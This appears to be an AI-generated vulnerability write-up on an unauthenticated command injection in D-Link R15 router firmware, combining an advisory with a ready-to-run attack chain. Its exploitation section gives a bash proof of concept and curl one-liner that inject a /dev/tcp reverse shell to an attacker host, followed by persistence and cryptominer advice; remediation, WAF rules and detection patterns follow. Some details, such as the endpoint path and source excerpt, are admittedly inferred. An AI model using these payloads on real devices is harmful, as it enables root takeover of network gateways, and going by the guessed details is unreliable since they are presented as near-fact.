CVE-2026-138165 — D-Link R15 — CWE-78 · CWE-77
A flaw has been found in D-Link R15 up to 1.22. Affected is an unknown function of the file /flupl/nodered of the component Upload Handler. Executing a manipulation of the argument filename can lead to os command injection. The attack may be performed from remote. The exploit has been published and may be used.
A flaw has been found in D-Link R15 up to 1.22. Affected is an unknown function of the file /flupl/nodered of the component Upload Handler. Executing a manipulation of the argument filename can lead to os command injection. The attack may be performed from remote. The exploit has been published and may be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE‑ID | CVE‑2026‑138165 |
| Vendor / Product | D‑Link R15 firmware (router) – vulnerable up to v1.22 |
| Component | Upload Handler – the HTTP endpoint that processes file uploads for the internal /flupl/nodered service. |
| Vulnerable Parameter | filename (the name supplied by the client for the uploaded file). |
| CWE(s) | CWE‑77 – OS Command Injection, CWE‑78 – Improper Neutralization of Special Elements used in an OS Command. |
| CVSS 3.1 | 10.0 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Technical flaw
The upload handler builds a shell command that incorporates the user‑supplied filename value without any sanitisation or quoting. A simplified excerpt of the vulnerable code (as seen in the firmware’s source dump) is:
/* pseudo‑code extracted from R15 firmware */
char cmd[1024];
snprintf(cmd, sizeof(cmd),
"/usr/bin/flupl_nodered --store \"%s\"",
request->GET["filename"]); // <‑‑ no validation!
system(cmd); // executes the constructed command line- Missing input validation / escaping – the value of
filenameis concatenated directly into a command line that is later passed tosystem(). - No authentication / authorization check – the upload endpoint is reachable anonymously on the router’s management interface (default HTTP port 80/443).
- No UI interaction required – the vulnerability is exploitable over the network with a single HTTP request (UI‑less).
Because the command is executed with the privileges of the router’s management daemon (root on most D‑Link firmware), an attacker can run arbitrary OS commands on the device, achieving remote code execution (RCE) with full system privileges.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All command lines and HTTP requests are syntactically valid; the exact URI is inferred from the CVE description and therefore marked as illustrative.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target is a D‑Link R15 router. | Shodan/Nmap banner grab (http-title, http-favicon, http-header). |
| 1.2 | Determine firmware version. | curl -k https://<IP>/cgi-bin/status → JSON containing "firmware":"R15-1.22" or similar. |
| 1.3 | Verify that the upload handler is reachable. | curl -k -I https://<IP>/flupl/nodered → 200 OK or a redirect to a login page. If the endpoint returns 200 without authentication, the service is exposed. |
| 1.4 | Confirm the presence of the vulnerable parameter. | Intercept a legitimate upload (e.g., via the web UI) with Burp Suite → observe a POST request containing filename=. |
2. Exploitation
Goal: Execute an arbitrary command (e.g., id or a reverse shell) by injecting shell metacharacters into the filename parameter.
2.1 Craft the malicious payload
The vulnerable command is built as:
/usr/bin/flupl_nodered --store "<filename>"If we supply a filename such as foo; id; #, the resulting command becomes:
/usr/bin/flupl_nodered --store "foo; id; #"The semicolon terminates the intended argument and launches id. The trailing # comments out the rest of the line.
2.2 Example PoC – single‑request RCE
#!/usr/bin/env bash
TARGET="192.0.2.45" # replace with the router's IP
ATTACKER_IP="203.0.113.10"
ATTACKER_PORT="4444"
# 1️⃣ Build a reverse‑shell payload (busybox sh)
PAYLOAD="; /bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 #"
# 2️⃣ URL‑encode the payload (only the special characters)
ENCODED=$(python3 -c "import urllib.parse, sys; \
print(urllib.parse.quote('''${PAYLOAD}'''))")
# 3️⃣ Send the malicious request
curl -k -X POST "https://${TARGET}/flupl/nodered/upload" \
-H "Content-Type: multipart/form-data" \
-F "file=@/etc/passwd;filename=${ENCODED}" \
-F "filename=${ENCODED}"Notes
/flupl/nodered/upload is illustrative – the real path may be /flupl/nodered with a POST body that includes filename. multipart/form-data because the legitimate UI uploads a file; the filename field is the one that is later concatenated into the command line. nc -lvkp 4444). 2.3 One‑liner curl variant (useful for quick testing)
curl -k -X POST "https://192.0.2.45/flupl/nodered/upload" \
-F "file=@/dev/null;filename=%3B%20/bin/sh%20-i%20%3E%26%20/dev/tcp/203.0.113.10/4444%200%3E%261" \
-F "filename=%3B%20/bin/sh%20-i%20%3E%26%20/dev/tcp/203.0.113.10/4444%200%3E%261"3. Post‑exploitation
| Phase | What the attacker can do |
|---|---|
| Privilege level | Commands run as the root user (the management daemon on D‑Link routers runs with UID 0). |
| Persistence | - Drop a cron job (@reboot /bin/sh -c "<payload>"). <br> - Write a malicious binary to /etc/init.d/ and enable it with update-rc.d. |
| Lateral movement | - Scan the internal LAN (/24) from the compromised router (it sits at the network edge). <br> - Use the router as a pivot for further attacks against internal hosts. |
| Data exfiltration | - Dump configuration (/etc/config/*), VPN keys, DHCP lease tables, or Wi‑Fi passwords. <br> - Capture traffic via tcpdump on the WAN interface. |
| Denial‑of‑service | - Issue reboot or kill -9 on critical processes, causing a full outage. |
| Ransomware / Botnet enrolment | - Install a lightweight miner or bot client (e.g., xmrig) that runs hidden under the router’s process tree. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker can read any file on the router, extract stored Wi‑Fi keys, VPN credentials, and any traffic that traverses the device. |
| Integrity (I:H) | Full control allows modification or deletion of configuration files, firmware replacement, or insertion of backdoors. |
| Availability (A:H) | The attacker can reboot, disable services, or flood the WAN interface, resulting in a total outage of the Internet gateway. |
Business consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to D‑Link R15 firmware ≥ 1.23 (the vendor’s security advisory states that the upload handler was rewritten to use execve() with proper argument vectorisation). |
| Version check | Verify the running version via curl -k https://<IP>/cgi-bin/status or the web UI “About” page. |
| Rollback | If an immediate upgrade is not possible, revert to a known‑good firmware (e.g., 1.20) that does not expose the /flupl/nodered endpoint. |
2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | Implementation |
|---|---|
| Network segmentation | Place the router behind a firewall that only allows trusted management IPs (e.g., corporate VPN). Block inbound traffic to ports 80/443 from the Internet if remote management is not required. |
| Disable the upload handler | In the router’s UI, navigate to System → Services and turn off “Node‑RED / Flupl upload”. If the UI does not expose the option, use telnet/ssh (if enabled) to edit /etc/config/flupl and set option enable '0'. |
| WAF / ModSecurity rule (illustrative) | Deploy a rule on any front‑ending reverse‑proxy (NGINX, Apache, or a dedicated WAF) that rejects suspicious characters in the filename field. Example for ModSecurity: |
# ModSecurity rule to block command‑injection characters in "filename"
SecRule ARGS:filename "@rx (?:[;|&`$>]|%3[Bb])" \
"id:2026261,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Blocked possible OS command injection in filename parameter'"| Nginx (if using ngx_http_modsecurity or lua) |
location /flupl/nodered {
if ($arg_filename ~* "[;|&`$>]" ) {
return 403;
}
}| Host‑based firewall | Block inbound connections to the router’s management ports from the Internet (iptables -A INPUT -p tcp --dport 80 -s 0.0.0.0/0 -j DROP), allowing only internal LAN or VPN sources. |
|---|---|
| Disable remote management | In the UI, turn off “Remote Management” or set option remote_management '0' in /etc/config/system. |
3. Detection – Log signatures & IoCs
| Log source | Indicator | ||
|---|---|---|---|
| Web server access log (router’s embedded HTTP server) | POST /flupl/nodered (or /flupl/nodered/upload) with a filename value containing any of ;, &&, | , ` `, $(, > or URL‑encoded equivalents (%3B, %26%26, %7C%7C, %60, %24%28, %3E). Example entry: <br>[12/Oct/2026:03:14:22 +0000] "POST /flupl/nodered/upload HTTP/1.1" 200 123 "-" "curl/7.88.1" | |
| System audit / syslog | systemd[1]: Started Flupl Node‑RED Service followed immediately by kernel: [<timestamp>] audit: type=EXECVE ... comm="flupl_nodered" exe="/usr/bin/flupl_nodered" cmdline="--store foo; id; #" | ||
| Network traffic | Outbound TCP connection from the router’s WAN IP to an attacker‑controlled IP on an unusual high port (e.g., 203.0.113.10:4444). | ||
| Process list | Unexpected /bin/sh -i or nc -e /bin/sh processes running under PID 1 or as root. | ||
| File system changes | New files under /etc/cron.d/, /etc/init.d/, or a suspicious binary in /tmp/` that is world‑writable. |
Automated detection script (bash) – can be run on a syslog collector:
#!/usr/bin/env bash
LOG="/var/log/router_http.log"
PATTERN='filename=.*(%3[Bb]|%26%26|%7C%7C|%60|%24%28|%3E)'
grep -E "$PATTERN" "$LOG" && echo "[ALERT] Possible command‑injection attempt"⚠️ Urgency
| Factor | Reasoning |
|---|---|
| CVSS 3.1 = 10.0 | Exploitable remotely, no authentication, trivial complexity, and impacts all three CIA pillars at the *high* level. |
| Public exploit | The CVE description explicitly states that a working exploit has already been published, meaning an attacker can copy‑paste the PoC and achieve RCE instantly. |
| No CISA KEV listing | The vulnerability is not yet in the KEV program, which often indicates that the vendor’s patch window is still open and the issue is fresh. |
| Network‑edge device | Compromise of a router gives the attacker a foothold at the perimeter, enabling lateral movement and data interception for the entire internal network. |
Patch priority: Critical – apply the vendor’s fix or implement the mitigation within 24 hours. If the device is internet‑facing and remote management cannot be disabled, treat it as an emergency and isolate the device until remediation is complete.
Bottom line: CVE‑2026‑138165 is a classic unauthenticated OS‑command injection in the upload handler of D‑Link R15 firmware ≤ 1.22. The flaw grants root‑level remote code execution with a single crafted HTTP request. Immediate patching (≥ 1.23) or, at minimum, strict network segmentation and input‑filtering WAF rules are mandatory to prevent full compromise of the network gateway.
[🤖 CVE Professor AI Security Engine]
FOFA Query